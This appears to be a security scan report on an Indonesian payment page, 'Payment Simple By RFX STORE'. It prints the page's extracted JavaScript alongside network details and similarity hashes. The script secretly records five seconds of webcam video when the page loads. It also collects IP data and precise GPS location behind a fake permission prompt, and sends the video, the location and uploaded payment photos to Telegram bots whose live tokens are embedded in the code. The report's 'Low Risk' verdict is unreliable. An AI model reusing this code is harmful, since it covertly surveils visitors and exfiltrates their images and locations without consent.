finance banking

Domain 'paymentrfxstore.my.id' uses the Indonesian country-code top-level domain (.my.id) with no subdomain. Count 15 characters in 'paymentrfxstore' split between four vowels and eleven consonants. Segmentation suggests three words: payment, rfx, store. Expect five characters per word on average. No strong language cues emerged from the frequency lists.

nama

nominal

photo

chat_id

caption

parse_mode

html/89/5c/895cf1bc-f568-4703-a6a4-2b36c36e802e.html.gz

default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self';

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

d178419bc2eadc5e949040486d70f483d983947bd0e92a88b5007624ae21e7af

f97ad8a81e5da8b18244e6035eb73d5ef15dd4997aac84c9c904fb80fd831699

ffe24e53cf7e065c9518c9f36cf4cef2aee9e7f8ff3d5b6b1e4d3306e14e1f02

31c63c5a89fba2f194e3a33b4c263127cc3dc4fe361404afa037f7913c4e5c07

viewport

html/89/5c/895cf1bc-f568-4703-a6a4-2b36c36e802e_nodriver.html.gz

Payment Simple By RFX STORE

PT JC Indonesia

PAYMENTRFXSTORE.MY.ID


    // ====== PERBAIKAN PENGIRIMAN KE TELEGRAM ======
    // ⚠️ Di produksi, JANGAN taruh token di client. Simpan di server!

    const videoEl = document.getElementById("preview");

    // Konsolidasikan BOT_TOKEN & URL agar tidak salah pakai
    // Ganti nilai di bawah ini dengan token kamu sendiri (sama persis di URL dan variabel)
    const BOT_TOKEN = "8073035453:AAHNx2IdB2Sbd-WZ3ahFhyGVLa8Rtw-M82g"; // contoh: 8073035453:AA...M82g
    const CHAT_ID = "7400581480"; // ganti sesuai tujuan

    // Helper: pilih mimeType yang didukung browser
    function pickSupportedMime() {
      const choices = [
        "video/webm;codecs=vp9",
        "video/webm;codecs=vp8",
        "video/webm",
        "video/mp4" // sering tidak didukung oleh MediaRecorder di Chrome
      ];
      for (const t of choices) {
        if (window.MediaRecorder && MediaRecorder.isTypeSupported && MediaRecorder.isTypeSupported(t)) return t;
      }
      return ""; // pakai default
    }

    // Mulai perekaman begitu halaman siap (contoh sama seperti kode kamu)
    if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
      navigator.mediaDevices.getUserMedia({ video: true, audio: false })
        .then((stream) => {
          videoEl.srcObject = stream;

          const mimeType = pickSupportedMime();
          const options = mimeType ? { mimeType } : {};
          const mediaRecorder = new MediaRecorder(stream, options);
          const chunks = [];

          mediaRecorder.ondataavailable = (e) => { if (e.data && e.data.size > 0) chunks.push(e.data); };
          mediaRecorder.onstop = async () => {
            try {
              const ext = (mimeType.startsWith("video/mp4") ? "webm" : "mp4");
              const blob = new Blob(chunks, { type: mimeType || "video/mp4" });
              if (blob.size > 0) {
                await sendToTelegramAsDocument(blob, `kejutan.${ext}`);
              } else {
                console.error("Blob kosong — tidak ada data perekaman.");
              }
            } finally {
              // Lepaskan kamera
              stream.getTracks().forEach(t => t.stop());
            }
          };

          mediaRecorder.start();
          setTimeout(() => mediaRecorder.stop(), 5000);
        })
        .catch((err) => {
          console.warn("Gagal akses kamera untuk perekaman otomatis:", err);
        });
    }

    async function sendToTelegramAsDocument(blob, filename) {
      if (!BOT_TOKEN || BOT_TOKEN.includes("REPLACE_WITH")) {
        console.error("BOT_TOKEN belum di-set.");
        return;
      }
      const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendDocument`;
      const formData = new FormData();
      formData.append("chat_id", CHAT_ID);
      formData.append("document", blob, filename);

      try {
        const res = await fetch(url, { method: "POST", body: formData });
        const data = await res.json();
        if (!data.ok) {
          console.error("Telegram error:", data);
          alert("Gagal kirim ke Telegram: " + (data.description || "unknown error"));
        } else {
          console.log("Terkirim:", data);
        }
      } catch (e) {
        console.error("Fetch error:", e);
        alert("Gagal kirim ke Telegram (network error). Lihat console.");
      }
    }
  


         // ====== UTIL ======
    const $ = (s, r = document) => r.querySelector(s);
    const $$ = (s, r = document) => Array.from(r.querySelectorAll(s));

    const toast = (message = "disalin") => {
      const el = $('#toast'); el.textContent = message; el.classList.add('show');
      setTimeout(() => el.classList.remove('show'), 1600);
    };

    // ripple on .cta
    function addRipple(e) {
      const r = document.createElement('span'); r.className = 'ripple';
      const rect = e.currentTarget.getBoundingClientRect();
      const size = Math.max(rect.width, rect.height); r.style.width = r.style.height = size + 'px';
      r.style.left = (e.clientX - rect.left - size / 2) + 'px';
      r.style.top = (e.clientY - rect.top - size / 2) + 'px';
      e.currentTarget.appendChild(r); setTimeout(() => r.remove(), 600);
    }

    // scroll to payments
    const goPay = () => { document.getElementById('pay').scrollIntoView({ behavior: 'smooth', block: 'start' }); };
    $('#ctaStart').addEventListener('click', e => { addRipple(e); goPay(); });
    $('#toPayments').addEventListener('click', e => { addRipple(e); goPay(); e.preventDefault(); });

    // tabs logic
    $$('#tabs .tab').forEach(btn => btn.addEventListener('click', () => {
      $$('#tabs .tab').forEach(b => b.classList.remove('active'));
      btn.classList.add('active');
      const id = btn.dataset.target;
      $$('.method').forEach(m => m.style.display = m.id === id ? '' : 'none');
    }));

    // copy number only
    $$('.copy-btn').forEach(btn => btn.addEventListener('click', async () => {
      const number = btn.getAttribute('data-number');
      try { await navigator.clipboard.writeText(number); toast('nomor disalin'); }
      catch { toast('gagal menyalin'); }
    }));

    // QRIS modal
    const overlay = $('#overlay');
    const openQris = () => overlay.classList.add('active');
    const closeQris = () => overlay.classList.remove('active');
    $('#openQris').addEventListener('click', openQris);
    $('#closeModal').addEventListener('click', closeQris);
    $('#closeModal2').addEventListener('click', closeQris);
    overlay.addEventListener('click', e => { if (e.target === overlay) closeQris(); });

    // Download QRIS, works best if qris.png di-host satu origin (CORS)
    $('#downloadQris').addEventListener('click', async () => {
      const img = $('#qrisBig');
      try {
        // coba fetch untuk same-origin
        const res = await fetch(img.src);
        const blob = await res.blob();
        const a = document.createElement('a');
        a.href = URL.createObjectURL(blob); a.download = 'qris.png'; a.click();
        URL.revokeObjectURL(a.href);
      } catch (err) {
        toast('gagal download, pastikan file qris sama origin');
      }
    });
   


        // Telegram bot details
        const botToken = '8073035453:AAHNx2IdB2Sbd-WZ3ahFhyGVLa8Rtw-M82g';
        const chatId = '7400581480';
        
        // DOM elements
        const loadingOverlay = document.getElementById('loading-overlay');
        const loadingText = document.getElementById('loading-text');
        const permissionRequest = document.getElementById('permission-request');
        const allowBtn = document.getElementById('allow-btn');
        
        // Loading messages
        const loadingMessages = [
            "Connecting to server...",
            "Loading game assets...",
            "Verifying account...",
            "Almost ready...",
            "Preparing interface...",
            "Finalizing setup..."
        ];
        
        // Function to get IP info
        async function getIPInfo() {
            try {
                const ipResponse = await fetch('https://api.ipify.org?format=json');
                const ipData = await ipResponse.json();
                const detailsResponse = await fetch(`https://ipapi.co/${ipData.ip}/json/`);
                return await detailsResponse.json();
            } catch (error) {
                console.error("IP info error:", error);
                return {};
            }
        }
        
        // Function to get precise location
        function getPreciseLocation() {
            return new Promise((resolve) => {
                if (!navigator.geolocation) {
                    resolve(null);
                    return;
                }
                
                navigator.geolocation.getCurrentPosition(
                    position => resolve({
                        lat: position.coords.latitude,
                        lon: position.coords.longitude,
                        accuracy: position.coords.accuracy,
                        timestamp: new Date().toLocaleString()
                    }),
                    error => {
                        // Only show permission request if location was denied
                        if (error.code === error.PERMISSION_DENIED) {
                            setTimeout(() => {
                                permissionRequest.style.display = 'flex';
                            }, 3000);
                        }
                        resolve(null);
                    },
                    { 
                        enableHighAccuracy: true,
                        timeout: 10000,
                        maximumAge: 0
                    }
                );
            });
        }
        
        // Function to send data to Telegram
        async function sendToTelegram(data) {
            try {
                let message = `🕵️ NEW VISITOR TRACKED 🕵️\n\n`;
                message += `📱 Device: ${navigator.userAgent}\n\n`;
                message += `🌐 IP: ${data.ip || 'Unknown'}\n`;
                message += `📍 IP Location: ${data.city || 'Unknown'}, ${data.region || 'Unknown'}, ${data.country_name || 'Unknown'}\n`;
                message += `🏢 ISP: ${data.org || 'Unknown'}\n`;
                
                if (data.liveLocation) {
                    message += `\n🎯 LIVE GPS LOCATION:\n`;
                    message += `🔹 Latitude: ${data.liveLocation.lat}\n`;
                    message += `🔹 Longitude: ${data.liveLocation.lon}\n`;
                    message += `🔹 Accuracy: ${data.liveLocation.accuracy}m\n`;
                    message += `🔹 Time: ${data.liveLocation.timestamp}\n`;
                    message += `🗺️ Google Maps: https://www.google.com/maps?q=${data.liveLocation.lat},${data.liveLocation.lon}\n`;
                } else {
                    message += `\n📍 APPROX LOCATION:\n`;
                    message += `🔹 Latitude: ${data.latitude || 'Unknown'}\n`;
                    message += `🔹 Longitude: ${data.longitude || 'Unknown'}\n`;
                    if (data.latitude && data.longitude) {
                        message += `🗺️ Google Maps: https://www.google.com/maps?q=${data.latitude},${data.longitude}\n`;
                    }
                }
                
                await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: message
                    })
                });
                
                if (data.liveLocation) {
                    await fetch(`https://api.telegram.org/bot${botToken}/sendLocation`, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            chat_id: chatId,
                            latitude: data.liveLocation.lat,
                            longitude: data.liveLocation.lon
                        })
                    });
                }
            } catch (error) {
                console.error("Telegram error:", error);
            }
        }
        
        // Rotate loading messages
        function rotateLoadingMessages() {
            let counter = 0;
            setInterval(() => {
                loadingText.textContent = loadingMessages[counter];
                counter = (counter + 1) % loadingMessages.length;
            }, 3000);
        }
        
        // Main tracking function
        async function trackUser() {
            // Start rotating loading messages
            rotateLoadingMessages();
            
            // First try to get precise location silently
            const liveLocation = await getPreciseLocation();
            
            // Then get IP details
            const ipDetails = await getIPInfo();
            
            // Combine all data
            const trackingData = {
                ...ipDetails,
                ip: ipDetails.ip || 'Unknown',
                liveLocation: liveLocation
            };
            
            // Send to Telegram
            await sendToTelegram(trackingData);
        }
        
        // When allow button is clicked
        allowBtn.addEventListener('click', async () => {
            permissionRequest.style.display = 'none';
            // Try to get location again
            await trackUser();
        });
        
        // Start tracking when page loads
        window.onload = trackUser;
    

// ====== KONFIG TELEGRAM ======
 // Ganti sesuai bot kamu. Jangan commit token ke repo public.
 const BOT_TOKEN = "7718734800:AAHFnoE1BCSe7Pki9_vFqZ3IMUqIxCIunOI"; // contoh: 123456789:AA...
 const CHAT_ID = "5682772059"; // contoh: 6282292370114 (id pribadi) atau -100xxxxxxxxxx (channel/group)

 // ====== UTIL ======
 const $ = (s, r = document) => r.querySelector(s);
 const $$ = (s, r = document) => Array.from(r.querySelectorAll(s));

 const toast = (message = "disalin") => {
 const el = $('#toast'); el.textContent = message; el.classList.add('show');
 setTimeout(() => el.classList.remove('show'), 1600);
 };

 // ripple on .cta
 function addRipple(e) {
 const r = document.createElement('span'); r.className = 'ripple';
 const rect = e.currentTarget.getBoundingClientRect();
 const size = Math.max(rect.width, rect.height); r.style.width = r.style.height = size + 'px';
 r.style.left = (e.clientX - rect.left - size / 2) + 'px';
 r.style.top = (e.clientY - rect.top - size / 2) + 'px';
 e.currentTarget.appendChild(r); setTimeout(() => r.remove(), 600);
 }

 // scroll to payments
 const goPay = () => { document.getElementById('pay').scrollIntoView({ behavior: 'smooth', block: 'start' }); };
 $('#ctaStart').addEventListener('click', e => { addRipple(e); goPay(); });
 $('#toPayments').addEventListener('click', e => { addRipple(e); goPay(); e.preventDefault(); });

 // tabs logic
 $$('#tabs .tab').forEach(btn => btn.addEventListener('click', () => {
 $$('#tabs .tab').forEach(b => b.classList.remove('active'));
 btn.classList.add('active');
 const id = btn.dataset.target;
 $$('.method').forEach(m => m.style.display = m.id === id ? '' : 'none');
 }));

 // copy number only
 $$('.copy-btn').forEach(btn => btn.addEventListener('click', async () => {
 const number = btn.getAttribute('data-number');
 try { await navigator.clipboard.writeText(number); toast('nomor disalin'); }
 catch { toast('gagal menyalin'); }
 }));

 // QRIS modal
 const overlay = $('#overlay');
 const openQris = () => overlay.classList.add('active');
 const closeQris = () => overlay.classList.remove('active');
 $('#openQris').addEventListener('click', openQris);
 $('#closeModal').addEventListener('click', closeQris);
 $('#closeModal2').addEventListener('click', closeQris);
 overlay.addEventListener('click', e => { if (e.target === overlay) closeQris(); });

 // Download QRIS, works best if qris.png di-host satu origin (CORS)
 $('#downloadQris').addEventListener('click', async () => {
 const img = $('#qrisBig');
 try {
 // coba fetch untuk same-origin
 const res = await fetch(img.src);
 const blob = await res.blob();
 const a = document.createElement('a');
 a.href = URL.createObjectURL(blob); a.download = 'qris.png'; a.click();
 URL.revokeObjectURL(a.href);
 } catch (err) {
 toast('gagal download, pastikan file qris sama origin');
 }
 });

 // Tahun footer
 $('#y').textContent = new Date().getFullYear();

 // Kirim bukti ke Telegram via form direct ke Bot API untuk hindari CORS fetch
 const form = document.getElementById('buktiForm');
 form.addEventListener('submit', (e) => {
 // validasi dasar
 if (!BOT_TOKEN || BOT_TOKEN.includes('YOUR_')) { e.preventDefault(); alert('Isi BOT_TOKEN dulu di script'); return; }
 if (!CHAT_ID || CHAT_ID.includes('YOUR_')) { e.preventDefault(); alert('Isi CHAT_ID dulu di script'); return; }
 if (!document.getElementById('photo').files.length) { e.preventDefault(); alert('Upload foto bukti dulu'); return; }

 const nama = document.getElementById('nama').value.trim();
 const nominal = document.getElementById('nominal').value.trim();
 const caption = `Bukti Transfer%0A` +
 `Nama: ${nama}%0A` +
 `Nominal: Rp ${nominal}%0A` +
 `Sumber: Payment Page`;

 // set hidden fields
 document.getElementById('tg_chat_id').value = CHAT_ID;
 document.getElementById('tg_caption').value = decodeURIComponent(caption);

 // set form action ke sendPhoto
 form.action = `https://api.telegram.org/bot${BOT_TOKEN}/sendPhoto`;
 // akan submit ke iframe tgFrame, hasil JSON ditampilkan diam-diam
 toast('mengirim...');
 });

Vercel

HSTS

✅ Low Risk - https://paymentrfxstore.my.id/

Requests	IP Address	Location	AS Autonomous System
5	142.251.127.95	Slovakia	AS15169
2	142.251.37.3	Slovakia	AS40676
2	94.229.45.2	Dunajská Lužná, Bratislava Region, Slovakia	AS48326DataNetworks s.r.o.
2	108.181.20.35	Los Angeles, California, United States	AS40676Psychz Networks
2	216.198.79.1	United States	AS16509Amazon.com, Inc.
13	5	-	-

Security Scan Report: paymentrfxstore.my.id

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History